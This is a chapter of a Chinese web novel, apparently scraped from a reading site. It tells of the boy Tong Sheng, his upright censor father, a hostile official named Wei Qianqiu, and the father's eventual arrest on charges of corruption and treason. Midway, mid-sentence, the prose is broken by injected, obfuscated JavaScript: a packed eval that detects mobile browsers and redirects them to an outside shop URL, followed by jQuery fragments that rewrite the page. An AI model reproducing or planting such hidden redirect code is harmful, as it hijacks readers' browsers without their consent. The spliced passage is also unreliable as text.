默认冷灰
24号文字
方正启体

9. 桐晟(一)

作者:草木辞春本书字数:K更新时间:
    永元十五年。


    大红灯笼高挂,敲锣打鼓和着乐声,桐府上下一派忙碌景象。


    有人往大门涂着浆糊,旁边的趁浆糊未干,急忙贴上新画的门神像,铜铃眼睛一瞪,气势逼人,刚满四岁的桐晟不敢跟它对上眼儿。


    他在院里小跑,看看这边忙碌,看看那边收拾,什么忙也帮不上,就在一旁给他们拍手叫好。


    厨房婆婆正在院里炖着大锅花椒汤,隔着好远就能闻到椒香味道。她笑着给桐晟盛一碗,小桐晟用舌头舔舔,又辣又麻,尖叫着跑掉了。


    桐箴言和帐房先生正坐在偏房,核对着新年用度的账目。桐晟屁颠屁颠跑进来,径直扑进父亲怀里,拿他的冲天辫对着桐箴言脖子一顿刺挠。


    “爹爹,陪小晟玩~”他肉嘟嘟的脸上嵌起两个小酒窝,露出参差不齐的牙齿。


    桐箴言和账房先生相视一笑。


    他拿起账册,随便翻开一页问桐晟:“小晟会算数吗?你帮爹爹算,爹爹就能去玩了。”


    桐晟逞能地凑上去,那些文字曲里拐弯像小蛇,牵着他的鼻子从首行读到尾行——什么都没看懂。


    桐箴言跟着他一起看,用朱笔在旁边写了个“合”字,外面再划一圈,小桐晟惊喜道:“我知道!这是赤帝子。”惹得桐父诧异,转而开怀大笑起来。


    “小晟很聪明。”桐箴言捏了捏他的脸,“新年了,有什么想跟爹爹要的?”


    桐晟皱起眉头,苦苦斟酌了下,抱怨道:“这些天总有穿漂亮衣服的人来找爹爹,可他们每次来,阿珠姐姐就把小晟拉到后院去了......”


    “是我让阿珠做的。”


    “小晟知道,小晟就想陪爹爹一起去。”


    桐箴言见他神情认真,温柔地揉揉他脑袋,应允道:“好,下次带小晟去。”


    又过两日,在桐晟朝思夜想下,总算盼来了跟前几次一样穿长袍的人。来人身后跟着若干随从,马车驶入院内后,陆续从里面抱出来大大小小的玉盒。桐箴言稍整衣冠,桐晟就在他旁边蹦来跳去,催促他快点走。


    父子二人在正殿会客,阿珠则拆开板新茶去煮。管家告诉桐箴言,来人是鸿胪寺少卿韦千秋。据门童所言,他来势汹汹,都不带正眼看他们的,登门拜访搞得跟讨债一样。小桐晟缩在父亲身后,隐约有些害怕。


    一声报令唤来了韦千秋,他刚推开门,那身恣意的绯色长袍如张扬之火,直直跳入桐晟的眼中。那是他从未在父亲身上见过的颜色。


    韦千秋笑着抱手行礼,桐箴言回他,二人一阵寒暄入座。这时,他才注意到后面那个有些拘谨的孩子,明眸皓齿,能看出是个美人胚子。


    “欸?你就是桐御史家中的公子吗?”


    “是犬子。”桐箴言抿茶,“不知少卿此次前来所为何事?”


    来人莞尔:“特来拜访御史,小子当回避了。”


    桐晟根本没听他们讲话,还在给旁边的阿珠做鬼脸。阿珠视线为难,又想到老爷吩咐,索性心一横,先自行退下了。


    桐箴言面不改色道:“不必,今日是桐某特地让犬子来的。”


    韦千秋捏着茶盏的手臂上青筋鼓起,冷笑道:“有趣,有趣。”言罢,朝着侍从拍了拍手,“拿上来吧。”


    随即,那些侍从奉上一尊方正的白玉盒。韦千秋慢条斯理地戴上织锦手套,笑着走上前去。盒盖被缓缓打开,里面竟是那青釉莲花盏,成色尚好,苍翠欲滴。


    小桐晟眼睛都看直了,哪见过这么漂亮清透的宝贝,要不是见父亲没动色,他早就冲上去先摸一把了。


    韦千秋介绍道:“南吴特产青瓷,百窑出一件,日光下更是如冰般晶莹剔透,当真绝代佳品。”


    “进贡的东西,不用给桐某过目。”桐箴言只是吃茶,不肯施舍一眼。


    “桐御史,咱们跟谁作对,都不要跟圣人作对呀。”韦千秋冷哼一声,摘了手套,甩给旁边的侍从,“好不容易两国交好,近些天圣人允了边境互市,这盏便是第一批货物里的一只。桐御史收了,就当是破元之年,开亨通之始。”


    “桐某不与任何人作对。只是物皆有主,理不在此,再如何也不是桐某能觊觎的东西。”


    小桐晟听得云里雾里,没明白父亲和这为漂亮衣服叔叔在聊什么。他只是觉得,此时的父亲和平常所见完全不同,周身都散发着一种高墙筑起的割离感。


    韦千秋打心底厌恶他这番自视清高的做派,不想再与桐箴言多嘴,转头看见小桐晟正对着茶盏流口水,心下觉得有趣,便问道:“小公子喜欢甘蔗吗?还有酸酸甜甜的橘子?”


    桐晟幻想一番,瞳眸亮晶晶的,嘴角不自觉咧得比耳朵还高,狠命地点了点头。


    桐箴言温柔地望向他,又问道:“那如果是别的小朋友的甘蔗、橘子,小晟还会去拿吗?”


    桐晟想了想,前几日听的孔融让梨,又想到“君子慎独,不欺暗室”,当下把头摇成了拨浪鼓:“不,小晟不会去拿别的小朋友的东西。”


    桐箴言夸他聪明。


    韦千秋嘴角一抽:“好好好,桐御史真是教子有方。不过小公子,老夫再教你一句话:揣而锐之,不可长保。圣人已然动怒,桐御史再像原先那样油盐不进,可别怕自身难保。”


    桐箴言没搭理,喊了声送客,拉起桐晟就离开了。


    ...


    永元十六年。


    桐晟入国子学业已半年,从春和景明到深秋,已然比往日沉稳许多。国子学仅官至五品以上子弟许入,所以与他同窗的孩子们,大多非富即贵。


    桐晟在家做惯了乖宝宝,待人比较腼腆,常常是坐在角落里旁观他们闹。倒是因为面容姣好,有很多师兄都来找他搭话,他从他们的聊天中也渐渐熟悉起他的这些同窗来。


    直到某日,一个来找他的胖小孩由于跑的太快,在他面前摔了个屁股墩,那四脚朝天的模样逗笑了桐晟。


    他一笑,眉眼弯弯像月牙,把胖小孩羞得脸红。


    这事渐渐传开了,于是为了再看到那一笑,小屁孩们使出浑身解数,装傻充愣,在他面前做起鬼脸,学鸟叫,学猪哼哼。桐晟哪见过这样式的,毫不吝啬地都笑给他们看。


    后来师兄不小心把他们的目的说漏了嘴,桐晟这才反应过来,脸咻的一下涨红。他想到幽王和褒姒的故事,顿然只觉得荒唐,从此再也不敢轻易发笑了。


    受人欢迎必然要引来嫉妒,他中立于局外,跟谁都能亲热,本来就惹得许多人不快。


    学堂里很有默契地分成几派,以晏时行和以宁为首的人数最多。除他们外,还有比较沉默但十分团结的,以杜琮为首的孩子们。桐晟确实在师兄那听说过杜家是怎么样一个昌盛的大家族,他心里隐隐有些羡慕,那么多兄弟姐妹相伴,肯定不会像自己这样孤独吧。


    在桐晟意识里,大家除了长得奇形怪状外,其他都没什么不同。而且自从他不再笑了后,先前那些小孩也不爱热脸贴冷屁股,一个个上心别的事去了。


    桐晟身边逐渐无人叨扰。他虽很享受这番冷清,但谁料最初招惹他的那个胖小子落井下石,那日趁侍从走远,将他堵在学堂里。而堵他的理由,竟是嫌他没笑给他一个人看。


    那小胖墩名叫杜璋,头发稀黄,说话还结巴,指责起人来一板一眼的。


    “真无聊......”桐晟不免嫌弃,从他身旁绕开走了。


    “你...你...”


    杜璋喘不上气,深呼吸好些下,脸都给憋紫了。准备良久,他幽幽道出句:“你不就漂亮点吗。有什么了不起的,谁稀罕啊!”


    言罢才觉得自己说错了话。


    空气沉默半晌,桐晟猛然一回头,对自己所闻十分不可思议。


    先前他因为担忧,在心中预演了无数遍的谩骂,此刻正如当头一棒袭来,让他有种命中注定的痛感。他手脚冰凉,鸡皮疙瘩爬满了脊背弯儿,止不住的泪水渐渐模糊了视线。


    “……你在说什么?”


    他宁愿自己是听走耳了,抽泣几下,又没忍住,眼泪便跟小珍珠一样落了下来。


    这副模样吓到了杜璋,踉跄几步,随后转身就跑,反而留在原地的桐晟哭声越来越大。


    生平第一次受到如此之大的恶意,小桐晟哭得撕心裂肺,杵在那里不知所措。那天晴空万里,他的心却灰暗了整日,直到把眼睛都哭肿。


    几天后,一个十来岁的少年提溜着杜璋找到桐晟。小胖墩的耳朵被揪得红彤彤的。少年拍了拍他的屁股,他只好扭捏着上前,十分诚恳地向桐晟道了歉。


    阳光很刺眼。


    那少年从怀中掏出个木盒子,下面坠了串长长的流苏。他介绍起自己:“我是杜珣,璋儿的堂兄。此物就当是赔礼给你吧,多有得罪了。”


    桐晟小心翼翼接过,打开一看,里面躺着一对银跳脱。他很简单地就原谅杜璋了,连流苏都被他用布包起来保存的很好。


    …


    永元十七年。


    桐箴言要出一趟远门。


    莱州沿海四县经常有流民犯事。先前本是有农民上告官府,闹到了州牧那,惊动中央。后来巡按御史也未将此事办妥,事态发展愈来愈严重,以至于到现在要桐箴言这个长官亲自出面。


    桐母一边帮他收拾行囊,一边训叨着,要他把那臭脾气收收,少说话多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430426|200908||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    做事,那边人生地不熟的,也没个人照应。


    桐箴言听得点头如捣蒜,好像对她的话十分赞成。几十年夫妻,桐母能不知道他那德行,纯粹是情绪价值拉满,该记住的是一个没记住。她无奈叹气,捏了把旁边桐晟的脸,揶揄道:“你可别学你爹。”


    桐箴言听了,憨憨地笑着:“是,别学我,小晟要比我活得更自由。”


    桐晟仰起张小脸。


    “爹爹要去哪?”比起桐母,小孩子显得更藏不住事,于是满脸写的都是担忧。


    桐箴言晓得他心绪,故作炫耀道:“日升之处,归墟之境。吾要去寻访仙山,待吾归来,便将见闻与你一说。”


    “哇!是大海!”桐晟羡慕地心痒痒,转而就把胡思乱想抛之脑后去了,“小晟长大后也会去看的!”


    翌日一早送走桐箴言,桐晟心里空落落的,他强作镇定,小手却紧紧拽着阿珠的袖子。阿珠心疼小少爷,便把他揽在怀里宽慰,边拍着他的背,边说可以教他写信,这样老爷就能看见了。


    晨时雾重,朝露未晞。桐晟目送马车摇摇行远,满地枳花堆积。天破晓,一声鸡鸣相送。


    从此以往,桐晟逢闲便来寻阿珠写字。他的字迹歪歪扭扭,就想让阿珠姐姐替他写。阿珠告诉他,见字如面,老爷定是希望小晟自己写的。


    于是他练得更卖力些。在国子学也不例外,将那几部经典抄之又抄,把他师兄们都吓一跳。


    在初夏时,桐晟终于寄出了他构思大半个月的信。桐母数着日子,估摸着桐箴言应该快到地儿了,便打发家仆千里奔忙送些东西去。


    “爹爹,相去日已远,路途颠簸,不知您可消瘦?当保重身体,春捂秋冻,切莫因公事而不思茶饭。……晟多蒙恩师照顾,学业精进,您不必多费心……晟闻:海上生明月,天涯共此时。每逢十五,晟都会驻足望月,许愿的便是您归来之日……祝好。”


    当然,里面大部分的遣词造句都是阿珠做的。


    盛夏中伏,鸣蝉聒噪,桐晟还在凉席上午睡,被喜出望外的阿珠摇醒。他困眯着眼睛,问这是作何。


    阿珠手里攥着封信,还有一木盒,激动的都结巴。


    老爷来信了!


    “小晟莫忧!为父身体康健,日饭三斤……已见大海,墨浪排空,好不浩瀚,诗兴大发,可惜肚里没货……此物送你,以托思念。鲛人泣珠之传说,不知小晟可晓得?”


    桐晟读的眼眶湿润。他打开木盒,里面躺着一颗葡萄大的珍珠,镀了层银光,能和天上圆月相之媲美。


    隔日国子监,桐晟便把这事吹上了天。师兄们笑他吝啬,只知道夸夸其谈,也不拿出实物来让他们见识见识。还有看不惯他的,便嫌他大惊小怪,见个海而已,周张如此,倒显得孤陋寡闻了。


    他们怎么说,已经洋溢在幸福之中的桐晟才不在乎。他给师兄们讲鲛人泣珠的故事,动情之恳切,仿佛他就是那个盼离人归的鲛人。


    一传十,十传百,杜璋也不例外。


    桐晟对他的反应格外感兴趣,正打算小小报复一下,却从杜璋的眼神中看出一丝怜悯。


    莫名其妙,当真真少爷脾气。


    深秋,书信往来也有三轮,桐晟快把那颗珍珠看穿了。睡梦里,桐箴言踏海而来,缓缓向他伸出了手。桐晟感觉有水花溅在脸上,海水甜甜的,他毫不犹豫地握住。


    梦醒,一切如常。只有泪在濡湿枕头。


    大雪封天,年末又至,桐箴言也该适值返程。


    桐晟笔力愈加沉稳,也懂得如何将蠢蠢欲动的心情平复了。冷风呼号,他忧心父亲路不好走,竟是好几个夜没睡着。阿珠劝他宽心,在他身旁研磨着墨汁。老爷很快就会回来。


    很久未得消息,连桐母也不免得多想。她私下教家仆走访四邻打听,试图窥探些风声,可惜没有任何消息。


    直到那韦千秋登门拜访。


    他比彼时猖狂更甚,指挥一干杂役就闯进来搬东西,将这些年自己所送珍品全部抬走。家主未在,桐母被他气的险些昏阙,桐府正院也沦为混乱不堪的群殴场。


    桐晟适才也参与了这番闹剧,正灰头土脸地坐在地上。他喘息未平,通红的双眼满是恨意,直勾勾盯着韦千秋。


    那人高呼一声造反!


    随即,左右侯卫的兵卫陆陆续续将桐府包围。呼啸的寒风搅得大雪纷纷扬,脚步声、兵械相撞声和碎冰声此起彼伏,俨然有种四面楚歌之美感。


    韦千秋冷哼一声,退出了门,换来的是翰林院的钦差大臣。


    宣旨道:桐箴言贪污受贿,以公谋私,察有叛国之嫌。贬为庶人,即刻押入刑部狱待审。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)